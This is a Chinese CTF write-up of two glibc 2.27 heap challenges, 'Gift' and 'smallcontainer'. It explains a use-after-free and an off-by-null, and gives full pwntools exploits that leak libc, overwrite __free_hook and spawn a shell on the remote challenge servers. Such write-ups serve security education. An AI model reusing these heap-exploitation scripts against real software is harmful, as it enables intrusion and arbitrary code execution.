2022巅峰极客

Gift

image-20220831211909452

检查保护机。这题没给libc,我是通过 double free 以及打印fd的内容,判断版本应该是在2.27,小版本我直接用到了最高的去调试。

image-20220831212240031

最多申请十个堆块,只能申请size为0x100或者0x60的堆块,申请后输入的长度比申请少0x10。

image-20220831212508377

释放堆块存在UAF。

image-20220831212802935

只能打印堆块+0x10后的内容。

image-20220831213039296

这里的v2是有符号数,所以如果为负数时,就可以让一个堆块的fd指针加上一个较大的数。

这题花了挺多时间进行构造的,难点在于泄露地址后,再达成一次任意写会发现堆块申请次数不够用,要进行更加节省的构造才行。

想要达成任意写,如果是修改fd,这题又只有在申请堆块时才可以进行写堆块,那么就得申请三次才能达成,在次数紧张的情况下,我又没想到有其他布局可以节省泄露地址使用的次数,就想到了可以通过劫持 tcache bin,修改上面的内容,只需要两次就可以做到任意地址写,节省了一次。

image-20220901105227963

在泄露出堆地址之后,修改fd指针,指向0x70堆块的前0x10位置,然后将堆块分配过去,进行修改0x70的fd指针。这里的三个堆块size是错开的,防止进入同一个tcache bin中。而选择修改0x70堆块覆盖tcache,是因为记录第一个被释放的0x70堆块比较靠前,如果是0x110的太靠后,可写长度不足以覆盖到。

image-20220901105909290

这一步的构造算是最巧的一步了,当初也想了挺久的。在把堆块分配过去后,为了能够出现libc地址,需要去伪造一个size至少为0x420的堆块,所以我借助部分的tcache bin加上之前申请的堆块进行伪造大堆块,(同时这也是另外一个需要申请两个0x110堆块的理由,如果是两个0x70的堆块是不够长的);且需要将其释放掉,则在属于0x70的位置上填入了伪造堆块的地址,可以让堆块分配过来。

image-20220901110006418

伪造fake chunk时,还需要伪造一个尾部堆块,保持堆块内存的连续性。

image-20220901110811658

释放后成功获得libc地址,此时已经申请了八次堆块,还剩下两次申请机会。

image-20220901111124906

两次刚好足够,一次填写地址,一次分配堆块达成任意写,这次就不要再用0x70分配,透支了两次,已经坏掉了。最开始是想要填入system地址的,但是因为堆块的前0x10都是已经填入了内容,使用了||貌似也没办法忽略,所以最后还是用了one_gadget getshell。

QQ图片20220817184118

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:
ip = '123.56.45.214'
port = 33027
libc = ELF("./libc-2.27.so")
p = remote(ip, port)


def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def add(size, content):
p.sendlineafter(b"your choice:\n", b'2')
p.recvuntil(b"your choice:\n")
if size == 0x100:
p.sendline(b'1')
else:
p.sendline(b'2')
p.recvuntil(b"plz write your wish on your gift!\n")
p.send(content)


def show(idx):
p.sendlineafter(b"your choice:\n", b'4')
p.recvuntil(b"index?\n")
p.sendline(str(idx).encode('ascii'))


def free(idx):
p.sendlineafter(b"your choice:\n", b'3')
p.recvuntil(b"index?\n")
p.sendline(str(idx).encode('ascii'))

add(0x100, 'a')
add(0x60, 'a')
add(0x100, b'a'*0x70 + p64(0) + p64(0x81))
free(0)
free(2)
show(2)
p.recvuntil(b"cost: ")
heap = int(p.recv(14), 10) - 0x250
log.info("heap==>0x%x" %heap)
p.sendlineafter(b"your choice:\n", b'5')
p.recvuntil(b"index?\n")
p.sendline('2')
p.recvuntil("How much?\n")
p.send(b'-240')
free(1)
add(0x100, 'a')
add(0x100, p64(0) + p64(0x71) + p64(heap + 0x20))
add(0x60, 'a')
add(0x60, p64(0) + p64(0x421) + p64(0)*5 + p64(heap + 0x40))
add(0x60, 'a')
free(7)
show(7)
p.recvuntil(b"cost: ")
leak = int(p.recv(16), 10) - 0x3ebca0
log.info("libc_base==>0x%x" %leak)
free_hook = leak + libc.sym['__free_hook']
sys = leak + libc.sym['system']
ogg = leak + 0x4f302
add(0x100, b"||sh"*2 + p64(0)*12 + p64(free_hook - 0x20))
add(0x100, p64(0)*2 + p64(ogg))
#debug()
free(8)
#debug()
p.interactive()

smallcontainer

image-20220831202742252

首先确定附件的保护机制以及libc版本号。

image-20220831203907328

可以申请最多17个堆块,大小范围在 0xFF~0x3FF之间,记录堆块地址以及堆块大小。

image-20220831204112120

image-20220831204103067

这里的输入完内容后执行的函数存在问题:填满堆块时,如果下一个堆块的size存在0x11结尾,将会被置0,可看为offbynull。

image-20220831204253467

只能打印fd上的内容。

image-20220831204329537

正常释放堆块,且置0。

显然是要利用offbynull构造堆块重叠,从而泄露地址以及错位修改fd指针,达到任意地址写的目的。

image-20220831205009734

先填充 tcache bin,0x210作为我们的目标堆块。

image-20220831205340121

然后在目标堆块里面,把减少的0x11伪造为一个堆块,保持堆块的连续性。

image-20220831205604626

接着,填充前一个堆块,修改目标堆块的size位。

image-20220831205808341

image-20220831210100052

在将prev size位修改为前几个堆块的总和size,最后释放合并,覆盖堆块就完成了。顺带提一嘴,这样在2.27前还能利用成功,在2.29及以上,就会失败了,程序会去检查头堆块的size是否有prev size这么大。

接下来就是泄露地址,然后错位修改堆块的fd指针,就做完了。

QQ图片20220817194519

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./smallcontainer')
DEBUG = 0
if DEBUG:
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:
ip = '101.200.85.91'
port = 37238
libc = ELF("./libc-2.27.so")
p = remote(ip, port)


def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def add(size):
p.sendlineafter(b"> ", b'1')
p.recvuntil(b"Input size: ")
p.send(str(size).encode('ascii'))


def show(idx):
p.sendlineafter(b"> ", b'4')
p.recvuntil(b"Input index: ")
p.sendline(str(idx).encode('ascii'))


def free(idx):
p.sendlineafter(b"> ", b'2')
p.recvuntil("Input index: ")
p.sendline(str(idx).encode('ascii'))


def edit(idx, content):
p.sendlineafter(b"> ", b'3')
p.recvuntil("Input index: ")
p.sendline(str(idx).encode('ascii'))
p.send(content)


add(0x1f8)
add(0x1f8)
add(0x1f8)
add(0x208)
for i in range(4,11):
add(0x1f8)
for i in range(4,11):
free(i)
edit(3, b'a'*0x1f0 + p64(0) + p64(0x11))
edit(2, b'a'*0x1f8)
edit(2, b'a'*0x1f0 + p64(0x600))
free(0)
free(3)
add(0x100)
show(0)
#p.recvuntil("0x")
leak = int(p.recv(12),16) - 0x3ec190
log.info("libc_base==>0x%x" %leak)
free_hook = leak + libc.sym['__free_hook']
sys = leak + libc.sym['system']
add(0x310)
for i in range(7):
add(0x1f8)
free(1)
edit(3 ,b'/bin/sh\x00' + b'a'*0xd8 + p64(0) + p64(0x201) + p64(free_hook))
add(0x1f8)
add(0x1f8)
edit(11, p64(sys))
free(3)
#debug()

p.interactive()

happy_note

查看评论